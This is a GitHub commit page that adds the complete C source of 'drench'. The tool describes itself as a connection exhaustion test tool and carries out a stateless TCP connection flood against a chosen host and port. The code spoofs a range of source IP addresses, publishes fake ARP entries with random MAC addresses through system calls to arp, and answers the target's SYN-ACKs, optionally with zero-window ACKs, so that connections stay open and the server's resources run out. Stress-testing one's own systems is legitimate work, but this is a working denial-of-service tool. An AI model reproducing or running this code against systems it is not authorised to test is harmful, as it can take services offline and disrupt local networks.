Permalink
Browse files

Imported from http://code.google.com/p/tweag/ cause I <3 github

  • Loading branch information...
0 parents commit 6afc24f92e863c9fc9b78cd09beaeba6676ceb7b @msantos committed Dec 29, 2009
Showing with 809 additions and 0 deletions.
  1. +19 −0 Makefile
  2. 0 README
  3. +323 −0 drench.c
  4. +123 −0 drench.h
  5. +172 −0 drench_arp.c
  6. +172 −0 drench_send.c
19 Makefile
@@ -0,0 +1,19 @@
+LIBNET_CONFIG=/usr/pkg/bin/libnet11-config
+
+GCC=gcc
+RM=/bin/rm
+APP=drench
+LDFLAGS=-L/usr/pkg/lib
+CFLAGS=-I/usr/pkg/include
+LIBS=-lpcap -lcrypto
+
+
+drench:
+ $(GCC) $(LDFLAGS) $(CFLAGS) $(LIBS) \
+ `$(LIBNET_CONFIG) --libs` \
+ `$(LIBNET_CONFIG) --cflags` \
+ `$(LIBNET_CONFIG) --defines` \
+ -g -Wall -o $(APP) $(APP).c $(APP)_send.c $(APP)_arp.c
+
+clean:
+ -@$(RM) $(APP)
0 README
No changes.
323 drench.c
@@ -0,0 +1,323 @@
+/*
+ * drench, a connection exhaustion test tool
+ *
+ * Copyright (c) 2005-2007 Michael Santos/michael.santos@gmail.com
+ *
+ * Stateless TCP connection flood
+ *
+ */
+#include "drench.h"
+
+static int drench_exit;
+
+#define DRENCH_EXIT(x, y) do { \
+ if (drench_exit == 1) { \
+ (void)fprintf(stdout, "[%s] Shutting down %s\n", __progname, x); \
+ y; \
+ } \
+} while (0);
+
+
+ int
+main(int argc, char *argv[])
+{
+ pkt_t *dp = NULL;
+
+ int ch = 0;
+ u_int32_t count = 5;
+ u_int32_t group = 0; /* number of packets to send in group */
+ useconds_t usec = 0; /* rate limit number of SYN's sent */
+
+ pid_t pid = 0;
+
+ /* pcap */
+ pcap_t *p = NULL;
+ char *dev = NULL;
+ char errbuf[PCAP_ERRBUF_SIZE];
+ u_int32_t localnet = 0;
+ u_int32_t netmask = 0;
+ struct bpf_program fcode;
+
+ char *filt = NULL;
+
+ /* libnet */
+ char lerrbuf[LIBNET_ERRBUF_SIZE];
+
+ (void)memset(errbuf, 0, PCAP_ERRBUF_SIZE);
+ (void)memset(lerrbuf, 0, LIBNET_ERRBUF_SIZE);
+
+ ISNULL(filt = (char *)calloc(MAXFILT, 1));
+ ISNULL(dp = (pkt_t *)calloc(1, sizeof(pkt_t)));
+
+ dp->p_tcp = LIBNET_PTAG_INITIALIZER;
+ dp->p_ip = LIBNET_PTAG_INITIALIZER;
+ dp->winsize = TCP_WINSIZE;
+ dp->opts |= O_CHKISN; /* check the ISN return in the ACK by default */
+
+ drench_exit = 0; /* global, signal exit from loop */
+
+ while ( (ch = getopt(argc, argv, "ACc:d:hi:p:P:Rr:s:S:x:")) != EOF) {
+ switch (ch) {
+ case 'A': /* Continue ACK'ing all ACK's */
+ dp->opts |= O_ACK;
+ break;
+ case 'C': /* Don't check the returned sequence number in the ACK */
+ dp->opts ^= O_CHKISN;
+ break;
+ case 'c': /* Number of packets to send */
+ count = (u_int32_t)atoi(optarg);
+ break;
+ case 'd': /* Destination address */
+ dp->daddr = optarg;
+ break;
+ case 'h': /* Help */
+ usage();
+ break;
+ case 'i': /* Use interface */
+ dev = optarg;
+ break;
+ case 'p': /* Destination port */
+ dp->dport = (in_port_t)atoi(optarg);
+ break;
+ case 'P':
+ dp->payload = optarg; /* Send data with the ACK */
+ break;
+ case 'r': /* Range of ip's to allocate */
+ dp->range = (u_int8_t)atoi(optarg);
+ break;
+ case 'R': /* Repeat the scan */
+ dp->opts |= O_REPEAT;
+ break;
+ case 's': /* Source address */
+ dp->saddr = strdup(optarg);
+ break;
+ case 'S': /* Sleep (microseconds) */
+ usec = (useconds_t)atoi(optarg);
+ break;
+ case 'x': /* Number of packets to send in group */
+ group = (u_int32_t)atoi(optarg);
+ break;
+ default:
+ usage();
+ break;
+ }
+ }
+
+
+ if (dp->daddr == NULL) {
+ (void)fprintf(stderr, "Must specify destination address.\n");
+ usage();
+ }
+
+ if (dp->dport == 0) {
+ (void)fprintf(stderr, "Must specify destination port.\n");
+ usage();
+ }
+
+ if (dp->range == 0)
+ dp->range = 1;
+
+ if (group == 0)
+ group = dp->range;
+
+ if (dev == NULL)
+ PCAP_ERRBUF(dev = pcap_lookupdev(errbuf));
+
+ /* libnet */
+ dp->l = libnet_init(LIBNET_RAW4, dev, lerrbuf);
+
+ if (dp->l == NULL)
+ errx(EXIT_FAILURE, "libnet_init: %s", lerrbuf);
+
+ if (dp->saddr == NULL) {
+ u_int32_t ipaddr = 0;
+
+ /* Assign the inital address. */
+
+ /* FIXME Simplisitically assign the address from
+ * FIXME our current address. Note this breaks for many
+ * FIXME conditions: if the host is multi-homed, if
+ * FIXME another host exists on the network with that IP,
+ * FIXME if the final octet rolls past 254, if the network
+ * FIXME is classless, IP aliases ...
+ *
+ * FIXME We can check for these conditions (check the ARP
+ * FIXME table, etc), but it is error prone. So just
+ * FIXME warn the user and hope for the best.
+ */
+ if ( (ipaddr = libnet_get_ipaddr4(dp->l)) == -1)
+ errx(EXIT_FAILURE, "%s", libnet_geterror(dp->l));
+
+ dp->saddr = strdup(libnet_addr2name4(ipaddr, LIBNET_DONT_RESOLVE));
+ (void)fprintf(stdout, "[%s] WARNING: Source address not assigned.\n", __progname);
+ }
+
+ if (dp->range > 1) {
+ (void)fprintf(stdout, "[%s] WARNING: Assigning addresses sequentially from %s.\n", __progname,
+ dp->saddr);
+ (void)fprintf(stdout, "[%s] WARNING: This may cause problems on your network if addresses conflict with other hosts!\n", __progname);
+ }
+
+ LIBNET_ERR(libnet_seed_prand(dp->l));
+ dp->secret = libnet_get_prand(LIBNET_PRu32);
+
+ /* pcap */
+ (void)fprintf(stdout, "[%s] Connection exhaustion started.\n", __progname);
+ (void)fprintf(stdout, "[%s] Using device: %s\n", __progname, dev);
+ (void)snprintf(filt, MAXFILT, PCAP_FILT, dp->daddr, dp->dport);
+ (void)fprintf(stdout, "[%s] Using filter: %s\n", __progname, filt);
+
+ PCAP_ERRBUF(p = pcap_open_live(dev, SNAPLEN, PROMISC, TIMEOUT, errbuf));
+
+ if (pcap_lookupnet(dev, &localnet, &netmask, errbuf) == -1)
+ errx(EXIT_FAILURE, "%s\n", errbuf);
+
+ PCAP_ERR(pcap_compile(p, &fcode, filt, 1 /* optimize == true */, netmask));
+ PCAP_ERR(pcap_setfilter(p, &fcode));
+
+ switch (pcap_datalink(p)) {
+ case DLT_IEEE802_11:
+ (void)fprintf(stderr, "[%s] Link layer is 802.11\n", __progname);
+ break;
+ case DLT_EN10MB:
+ (void)fprintf(stderr, "[%s] Link layer is ethernet\n", __progname);
+ break;
+ default:
+ (void)fprintf(stderr, "[%s] Link layer is unsupported\n", __progname);
+ break;
+ }
+
+ if (create_arp_pool1(dp) < 0)
+ warnx("Could not create ARP pool");
+
+ (void)signal(SIGHUP, drench_cleanup);
+ (void)signal(SIGQUIT, drench_cleanup);
+ (void)signal(SIGINT, drench_cleanup);
+ (void)signal(SIGTERM, drench_cleanup);
+
+ if ( (pid = fork()) == -1)
+ err(EXIT_FAILURE, "fork");
+
+ /* begin by sending SYN packets */
+ if (pid == 0)
+ drench_writer(dp, count, group, usec);
+
+ drench_reader(dp, p);
+
+ (void)destroy_arp_pool1(dp);
+ libnet_destroy(dp->l);
+ free(dp->saddr);
+ free(dp);
+ exit (EXIT_FAILURE);
+}
+
+
+ void
+drench_writer(pkt_t *dp, u_int32_t count, u_int32_t group, u_int32_t usec)
+{
+ u_int32_t range = 0;
+
+ dp->flags = TH_SYN;
+
+ while (range < count) {
+ DRENCH_EXIT("writer", exit(EXIT_SUCCESS));
+
+ drench_send_tcp(dp, range%dp->range, NULL);
+ if ( (usec > 0) && (range%group == 0))
+ usleep(usec);
+
+ range++;
+ if ( (dp->opts & O_REPEAT) && (range == count)) {
+ usleep( (usec + 1) * 1000);
+ range = 0;
+ }
+ }
+
+ exit (EXIT_SUCCESS);
+}
+
+ void
+drench_reader(pkt_t *dp, pcap_t *p)
+{
+ struct pcap_pkthdr hdr;
+ struct ip *ih = NULL;
+ struct tcphdr *th = NULL;
+
+ u_char *pkt = NULL;
+
+ for ( ; ; ) {
+ DRENCH_EXIT("reader", return);
+
+ pkt = (u_char *)pcap_next(p, &hdr);
+ if (pkt == NULL)
+ continue;
+
+ ih = (struct ip *)(pkt + sizeof(struct ether_header));
+ th = (struct tcphdr *)(pkt + sizeof(struct ether_header) + sizeof(struct ip));
+
+ if (th->th_flags & (TH_SYN|TH_ACK)) {
+ dp->winsize = TCP_WINSIZE;
+ dp->flags = TH_ACK;
+ drench_send_tcp(dp, 0, pkt);
+
+ /* Send a second ACK with window size set to 0 */
+ if (dp->opts & O_ACK) {
+ dp->winsize = 0;
+ th->th_seq++;
+ drench_send_tcp(dp, 0, pkt);
+ }
+ }
+ else if ( (th->th_flags & TH_ACK) && !(th->th_flags & TH_FIN) &&
+ (dp->opts & O_ACK)) {
+ dp->winsize = 0;
+ drench_send_tcp(dp, 0, pkt);
+ }
+ else {
+ (void)fprintf(stdout, "(S->C)[");
+ ISSET(TH_SYN, S);
+ ISSET(TH_RST, R);
+ ISSET(TH_FIN, F);
+ ISSET(TH_ACK, A);
+ ISSET(TH_URG, U);
+ ISSET(TH_PUSH, P);
+
+ (void)fprintf(stdout, "] SRC = %15s:%-6u ",
+ inet_ntoa(ih->ip_src), ntohs(th->th_sport));
+ (void)fprintf(stdout, "DST = %15s:%-6u (ignoring)\n",
+ inet_ntoa(ih->ip_dst), ntohs(th->th_dport));
+ }
+ }
+}
+
+ void
+drench_cleanup(int sig)
+{
+ drench_exit = 1;
+}
+
+ void
+usage(void)
+{
+ (void)fprintf(stdout, "[%s v%s: Connection flood utility]\n",
+ __progname, DRENCH_BUILD);
+ (void)fprintf(stdout, "Usage: %s [-h|-i <interface>|-d <address>|-p <port>|-P <payload>|-r <number>|-s <address>|-c <number>|-C|-S <microseconds>|-x <group>]\n", __progname);
+ (void)fprintf(stdout, "-h\t\tusage\n");
+ (void)fprintf(stdout, "\n");
+ (void)fprintf(stdout, "-d <address>\tdestination address\n");
+ (void)fprintf(stdout, "-p <port>\tport to connection flood\n");
+ (void)fprintf(stdout, "\n");
+ (void)fprintf(stdout, "-c <number>\tpacket count\n");
+ (void)fprintf(stdout, "-i <interface>\tinterface\n");
+ (void)fprintf(stdout, "-r <number>\tnumber of ARP'ed fake IP addresses\n");
+ (void)fprintf(stdout, "-s <address>\tsource address\n");
+ (void)fprintf(stdout, "\n");
+ (void)fprintf(stdout, "-A \t\tRespond to received ACK's\n");
+ (void)fprintf(stdout, "-C \t\tDisable check of ISN cookie\n");
+ (void)fprintf(stdout, "-P <payload>\tpayload of packet\n");
+ (void)fprintf(stdout, "-R \t\tRepeat packet burst\n");
+ (void)fprintf(stdout, "-S <microseconds>\tmicroseconds to sleep between sending packets\n");
+ (void)fprintf(stdout, "-x <group>\tnumber of packets to send in a group (defaults to value of -r)\n");
+ (void)fprintf(stdout, "\n[Bug reports to michael.santos@gmail.com]\n");
+
+ exit (EXIT_FAILURE);
+}
123 drench.h
@@ -0,0 +1,123 @@
+/*
+ * drench, a connection exhaustion test tool
+ *
+ * Copyright (c) 2005-2007 Michael Santos/michael.santos@gmail.com
+ *
+ * Stateless TCP connection flood
+ *
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <err.h>
+
+#include <pcap.h>
+//#include <dnet.h>
+
+#include <netinet/if_ether.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+#include <netinet/ip_icmp.h>
+#include <arpa/inet.h>
+
+#include <libnet.h>
+
+#define DRENCH_BUILD "0.3"
+
+#define PCAP_ERRBUF(x) do { \
+ if ((x) == NULL) \
+ errx(EXIT_FAILURE, "%s: %s", #x, errbuf); \
+} while (0);
+
+#define PCAP_ERR(x) do { \
+ if ((x) != 0) \
+ errx(EXIT_FAILURE, "%s: %s", #x, pcap_geterr(p)); \
+} while (0);
+
+#define LIBNET_ERR(x) do { \
+ if ((x) == -1) { \
+ libnet_destroy(dp->l); \
+ errx(EXIT_FAILURE, "%s: %s", #x, libnet_geterror(dp->l)); \
+ } \
+} while (0);
+
+#define ISNULL(x) do { \
+ if ((x) == NULL) {\
+ (void)fprintf(stderr, "%s", #x); \
+ return (1); \
+ } \
+} while (0)
+
+#define ISZERO(x) do { \
+ if ((x) == 0) {\
+ (void)fprintf(stderr, "%s", #x); \
+ return (1); \
+ } \
+} while (0)
+
+#define LTZERO(x) do { \
+ if ((x) < 0) {\
+ (void)fprintf(stderr, "%s", #x); \
+ return (1); \
+ } \
+} while (0)
+
+#define ISSET(x, y) do { \
+ if (th->th_flags & x) {\
+ (void)fprintf(stdout, "%s", #y); \
+ } \
+} while (0)
+
+
+#define TCP_PHASE(x,y,z) ((x) == TH_SYN ? (y) : (z))
+
+extern char *__progname;
+
+#define SNAPLEN 60
+#define PROMISC 1 /* true */
+#define TIMEOUT 500 /* ms */
+#define PCAP_FILT "tcp and src %s and src port %u"
+#define MAXFILT 256
+
+#define TCP_WINSIZE 32768 /* 0 */
+#define MAX_TTL 64
+
+#define PAYLOAD "GET / HTTP/1.1\nHost: www.example.com\r\n";
+
+typedef struct {
+ u_int8_t flags;
+ u_int16_t winsize;
+ u_int8_t range; /* range of addresses to allocate */
+ u_int32_t opts; /* options */
+ u_int32_t secret; /* Seed for sequence number */
+ char *saddr;
+ char *daddr;
+ in_port_t dport;
+ libnet_ptag_t p_tcp;
+ libnet_ptag_t p_ip;
+ libnet_t *l;
+ char *payload;
+} pkt_t ;
+
+enum {
+ O_ACK = 1, /* continue ACK'ing */
+ O_REPEAT = 2, /* repeat the scan */
+ O_CHKISN = 4, /* check if the sequence number in the returned ACK is valid */
+};
+
+void drench_writer(pkt_t *dp, u_int32_t count, u_int32_t group, u_int32_t use);
+void drench_reader(pkt_t *dp, pcap_t *p);
+void drench_cleanup(int sig);
+
+void drench_send_tcp(pkt_t *dp, u_int8_t offset, u_char *pkt);
+int create_arp_pool(libnet_t *l, u_int8_t iprange);
+int create_arp_pool1(pkt_t *dp);
+int destroy_arp_pool1(pkt_t *dp);
+void usage(void);
+
+void drench_err(int rv, char *fmt, ...);
+void drench_errx(int rv, char *fmt, ...);
+void drench_warn(char *fmt, ...);
+void drench_warnx(char *fmt, ...);
+
172 drench_arp.c
@@ -0,0 +1,172 @@
+/*
+ * drench, a connection exhaustion test tool
+ *
+ * Copyright (c) 2005-2007 Michael Santos/michael.santos@gmail.com
+ *
+ * Stateless TCP connection flood
+ *
+ */
+#include "drench.h"
+
+#define ARP "/usr/sbin/arp"
+#define BUFSZ 1024
+#define MAC_ADDR "%02x:%02x:%02x:%02x:%02x:%02x"
+#define MAC_COMPONENTS 6
+
+#if 0
+ int
+create_arp_pool(libnet_t *l, u_int8_t iprange)
+{
+ u_int32_t ipaddr = 0;
+ char *ipsrc = NULL;
+
+ arp_t *arp = NULL;
+ struct arp_entry *entry = NULL;
+ int i = 0;
+
+ ISNULL(entry = (struct arp_entry *)calloc(1, sizeof(struct arp_entry)));
+ ISNULL(ipaddr = libnet_get_ipaddr4(l));
+
+ (void)fprintf(stdout, "[Your IP address is %s]\n", libnet_addr2name4(ipaddr, LIBNET_DONT_RESOLVE));
+
+ if ( (arp = arp_open()) == NULL)
+ errx(EXIT_FAILURE, "Could not get ARP descriptor.");
+
+ for ( i = 1; i < iprange; i++ ) {
+ /* Generate a fake MAC address */
+ if (addr_pton(MAC_ADDR, &entry->arp_ha) < 0)
+ err(EXIT_FAILURE, "addr_pton");
+
+ /* Generate a fake IP address */
+ ipsrc = libnet_addr2name4(ipaddr + i, LIBNET_DONT_RESOLVE);
+ if (addr_pton(ipsrc, &entry->arp_pa) < 0)
+ err(EXIT_FAILURE, "addr_pton");
+
+ if (arp_add(arp, entry) < 0)
+ err(EXIT_FAILURE, "arp_add");
+
+ (void)fprintf(stdout, "Added entry for %s\n", ipsrc);
+ }
+
+ (void)arp_close(arp);
+ return (0);
+}
+#endif /* 0 */
+
+
+ int
+create_arp_pool1(pkt_t *dp)
+{
+ u_int32_t ipaddr = 0;
+ char *ipsrc = NULL;
+ char *arp = NULL;
+ char *macaddr = NULL;
+ u_int8_t mac[MAC_COMPONENTS];
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+
+ libnet_t *l = dp->l;
+ u_int8_t iprange = dp->range;
+
+ ISNULL(arp = (char *)calloc(BUFSZ, 1));
+ ISNULL(macaddr = (char *)calloc(MAC_COMPONENTS * 3, 1));
+
+ LIBNET_ERR(ipaddr = libnet_name2addr4(l, dp->saddr, LIBNET_DONT_RESOLVE));
+
+ for ( i = 0; i < iprange; i++ ) {
+ /* Prepare our MAC address */
+ for (j = 0; j < MAC_COMPONENTS; j++)
+ mac[j] = (u_int8_t)libnet_get_prand(LIBNET_PR8);
+
+ (void)sprintf(macaddr, MAC_ADDR, mac[0], mac[1], mac[2],
+ mac[3], mac[4], mac[5]);
+
+ /* Generate a fake IP address */
+ ipsrc = libnet_addr2name4(htonl(ntohl(ipaddr) + i), LIBNET_DONT_RESOLVE);
+
+ ret = snprintf(arp, BUFSZ, "%s -s %s %s pub >/dev/null 2>&1",
+ ARP, ipsrc, macaddr);
+
+ if ( (ret < 0) || (ret >= BUFSZ)) {
+ (void)fprintf(stdout, "[%s] Could not create arp command\n", __progname);
+ exit(EXIT_FAILURE);
+ }
+
+ ret = system(arp);
+ switch (ret) {
+ case 0:
+ (void)fprintf(stdout, "[%s] added ARP entry for MAC %s, IP %s\n",
+ __progname, macaddr, ipsrc);
+ break;
+ case 256:
+ (void)fprintf(stdout, "[%s] MAC address already in ARP table: %s, %s\n", __progname, macaddr,
+ ipsrc);
+ break;
+ case 127:
+ (void)fprintf(stdout, "[%s] failed to spawn shell\n", __progname);
+ exit(ret);
+ case -1:
+ (void)fprintf(stdout, "[%s] could not fork\n", __progname);
+ exit(ret);
+ default:
+ (void)fprintf(stdout, "[%s] \"%s\" failed with value %d\n", __progname, arp, ret);
+ break;
+ }
+ }
+
+ free(arp);
+ return (0);
+}
+
+ int
+destroy_arp_pool1(pkt_t *dp)
+{
+ u_long ipaddr = 0;
+ char *ipsrc = NULL;
+ char *arp = NULL;
+ int i = 0;
+ int ret = 0;
+
+ libnet_t *l = dp->l;
+ u_int8_t iprange = dp->range;
+
+ ISNULL(arp = (char *)calloc(BUFSZ, 1));
+ LIBNET_ERR(ipaddr = libnet_name2addr4(l, dp->saddr, LIBNET_DONT_RESOLVE));
+
+ for ( i = 0; i < iprange; i++ ) {
+ ipsrc = libnet_addr2name4(htonl(ntohl(ipaddr) + i), LIBNET_DONT_RESOLVE);
+
+ ret = snprintf(arp, BUFSZ, "%s -d %s >/dev/null 2>&1", ARP, ipsrc);
+
+ if ( (ret < 0) || (ret >= BUFSZ)) {
+ (void)fprintf(stdout, "[%s] Could not create arp command\n", __progname);
+ exit (EXIT_FAILURE);
+ }
+
+ ret = system(arp);
+ switch (ret) {
+ case 0:
+ (void)fprintf(stdout, "[%s] Deleted entry for %s\n", __progname,
+ ipsrc);
+ break;
+ case 256:
+ (void)fprintf(stdout, "[%s] ARP entry does not exist or cannot be removed: %s\n", __progname,
+ ipsrc);
+ break;
+ case 127:
+ (void)fprintf(stdout, "[%s] failed to spawn shell", __progname);
+ exit(ret);
+ case -1:
+ (void)fprintf(stdout, "[%s] could not fork", __progname);
+ exit(ret);
+ default:
+ (void)fprintf(stdout, "[%s] \"%s\" failed with value %d\n", __progname,
+ arp, ret);
+ break;
+ }
+ }
+
+ free(arp);
+ return (0);
+}
172 drench_send.c
@@ -0,0 +1,172 @@
+/*
+ * drench, a connection exhaustion test tool
+ *
+ * Copyright (c) 2005-2007 Michael Santos/michael.santos@gmail.com
+ *
+ * Stateless TCP connection flood
+ *
+ */
+#include "drench.h"
+#include <openssl/md5.h>
+
+/* Check the ISN returned in the ACK. If isn is
+ * 0, create the ISN
+ *
+ * Return: 0 = passed, -1 = failed
+ *
+ */
+int check_isn(pkt_t *dp, in_port_t port, u_int32_t *isn);
+
+ void
+drench_send_tcp(pkt_t *dp, u_int8_t offset, u_char *pkt)
+{
+ struct ether_header *eh = NULL;
+ struct ip *ih = NULL;
+ struct tcphdr *th = NULL;
+
+ char *state = NULL;
+
+ in_port_t sport = 0;
+ size_t paylen = 0;
+
+ u_int32_t isn = 0;
+
+ if (dp->payload != NULL)
+ paylen = strlen(dp->payload);
+
+ state = TCP_PHASE(dp->flags, "S", "A");
+
+ if (pkt != NULL) {
+ eh = (struct ether_header *)pkt;
+ ih = (struct ip *)(pkt + sizeof(struct ether_header));
+ th = (struct tcphdr *)(pkt + sizeof(struct ether_header) + sizeof(struct ip));
+
+ isn = th->th_ack;
+ sport = th->th_dport;
+
+ }
+ else {
+ sport = libnet_get_prand(LIBNET_PRu16);
+ }
+
+ /* Sanity check: check the ack number of the packet to
+ * make sure we sent it. We can do this by performing
+ * a calculation on the sequence number we
+ * send, based on a "secret" random number */
+ if (check_isn(dp, sport, &isn) < 0) {
+ (void)fprintf(stdout,
+ "(C->S)[%s] SRC = %15s:%-6u DST = %15s:%-6u INVALID ISN in ACK%s [isn = %u]\n",
+ state,
+ TCP_PHASE(
+ dp->flags,
+ dp->saddr,
+ libnet_addr2name4(ih->ip_dst.s_addr, LIBNET_DONT_RESOLVE)
+ ),
+ sport,
+ TCP_PHASE(
+ dp->flags,
+ dp->daddr,
+ libnet_addr2name4(ih->ip_src.s_addr, LIBNET_DONT_RESOLVE)
+ ),
+ dp->dport,
+ (dp->opts & O_CHKISN ? ", DROPPING PACKET" : ""),
+ isn);
+
+ if (dp->opts & O_CHKISN)
+ return;
+ }
+
+ LIBNET_ERR(dp->p_tcp = libnet_build_tcp(
+ TCP_PHASE(dp->flags, sport, th->th_dport), /* Source port */
+ dp->dport, /* Destination port */
+ TCP_PHASE(dp->flags, isn, (th->th_ack + paylen)), /* ISN */
+ /* Sniffed packet's seq num */
+ TCP_PHASE(dp->flags, 0, (th->th_seq + 1)), /* ACK */
+ TCP_PHASE(dp->flags, dp->flags, dp->flags /*| TH_PUSH*/), /* Control flags */
+ dp->winsize, /* window size */
+ 0, /* auto checksum */
+ 0, /* Urgent data pointer */
+ TCP_PHASE(dp->flags, LIBNET_TCP_H, LIBNET_TCP_H + paylen), /* total packet length */
+ TCP_PHASE(dp->flags, NULL, (u_char *)dp->payload), /* payload */
+ TCP_PHASE(dp->flags, 0, paylen), /* payload size */
+ dp->l, /* libnet context */
+ dp->p_tcp /* ptag */
+ ));
+
+ LIBNET_ERR(dp->p_ip = libnet_build_ipv4(
+ TCP_PHASE(dp->flags, LIBNET_IPV4_H + LIBNET_TCP_H, LIBNET_IPV4_H + LIBNET_TCP_H + paylen),
+ TCP_PHASE(dp->flags, 0, IPTOS_LOWDELAY), /* TOS */
+ libnet_get_prand(LIBNET_PRu16),
+ 0, /* Frag */
+ MAX_TTL, /* TTL */
+ IPPROTO_TCP, /* Protocol */
+ 0, /* auto checksum */
+ TCP_PHASE(dp->flags, htonl(ntohl(libnet_name2addr4(dp->l, dp->saddr, LIBNET_DONT_RESOLVE)) + offset),
+ ih->ip_dst.s_addr), /* XXX error check, source */
+ TCP_PHASE(dp->flags, libnet_name2addr4(dp->l, dp->daddr, LIBNET_DONT_RESOLVE),
+ ih->ip_src.s_addr), /* XXX error check, destination */
+ NULL, /* payload */
+ 0, /* payload size */
+ dp->l, /* libnet context */
+ dp->p_ip /* libnet ptag */
+ ));
+
+ if (libnet_write(dp->l) == -1)
+ state = "x";
+
+ (void)fprintf(stdout, "(C->S)[%s] SRC = %15s:%-6u DST = %15s:%-6u\n", state,
+ TCP_PHASE(
+ dp->flags,
+ libnet_addr2name4(
+ htonl(ntohl(libnet_name2addr4(dp->l, dp->saddr, LIBNET_DONT_RESOLVE)) + offset),
+ LIBNET_DONT_RESOLVE
+ ),
+ libnet_addr2name4(ih->ip_dst.s_addr, LIBNET_DONT_RESOLVE)
+ ),
+ sport,
+ TCP_PHASE(
+ dp->flags,
+ dp->daddr,
+ libnet_addr2name4(ih->ip_src.s_addr, LIBNET_DONT_RESOLVE)
+ ),
+ dp->dport);
+
+ (void)fflush(stdout);
+}
+
+ int
+check_isn(pkt_t *dp, in_port_t port, u_int32_t *isn)
+{
+ u_char md5[MD5_DIGEST_LENGTH];
+ u_int32_t s = 0;
+
+ struct {
+ u_int32_t secret;
+ u_int32_t addr;
+ in_port_t port;
+ } seed;
+
+ (void)memset(&seed, 0, sizeof(seed));
+
+ seed.secret = dp->secret;
+ seed.addr = libnet_name2addr4(dp->l, dp->daddr, LIBNET_DONT_RESOLVE);
+ seed.port = port;
+
+ (void)MD5((u_char *)&seed, sizeof(seed), md5);
+ (void)memcpy(&s, md5, sizeof(s));
+
+ switch (*isn) {
+ case 0:
+ *isn = htonl(s);
+ return (0);
+ break;
+ default:
+ if (*isn == htonl(s+1))
+ return (0);
+ (void)fprintf(stdout, "\t[ISN RECEIVED = %u, EXPECTING = %u, SECRET = %u, ADDR = %s, PORT = %u]\n",
+ *isn, htonl(s+1), dp->secret, dp->daddr, port);
+ /* fall through */
+ }
+
+ return (-1);
+}

0 comments on commit 6afc24f

Please sign in to comment.